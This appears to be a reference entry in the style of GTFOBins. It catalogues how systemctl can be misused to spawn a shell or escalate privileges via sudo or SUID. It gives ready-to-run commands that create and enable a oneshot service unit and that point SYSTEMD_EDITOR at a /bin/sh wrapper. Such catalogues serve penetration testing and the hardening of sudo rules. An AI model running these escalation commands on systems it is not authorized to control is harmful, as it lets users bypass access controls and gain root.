systemctl

Shell

This executable can spawn an interactive system shell.

CommentIt might happen that the service is not started with --now, in such cases it might be necessary to manually start it.
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo '[Service]
Type=oneshot
ExecStart=/path/to/command
[Install]
WantedBy=multi-user.target' >/path/to/temp-file.service
systemctl link /path/to/temp-file.service
systemctl enable --now /path/to/temp-file.service
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
echo '[Service]
Type=oneshot
ExecStart=/path/to/command
[Install]
WantedBy=multi-user.target' >/path/to/temp-file.service
systemctl link /path/to/temp-file.service
systemctl enable --now /path/to/temp-file.service
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo /bin/sh >/path/to/temp-file
chmod +x /path/to/temp-file
SYSTEMD_EDITOR=/path/to/temp-file systemctl edit basic.target
```

Inherit

This executable can inherit functions from another.

Unprivileged
This function can be performed by any unprivileged user.
```
systemctl
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
systemctl
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
systemctl
```
Functions
Inherits from less, thus possibly granting its functions.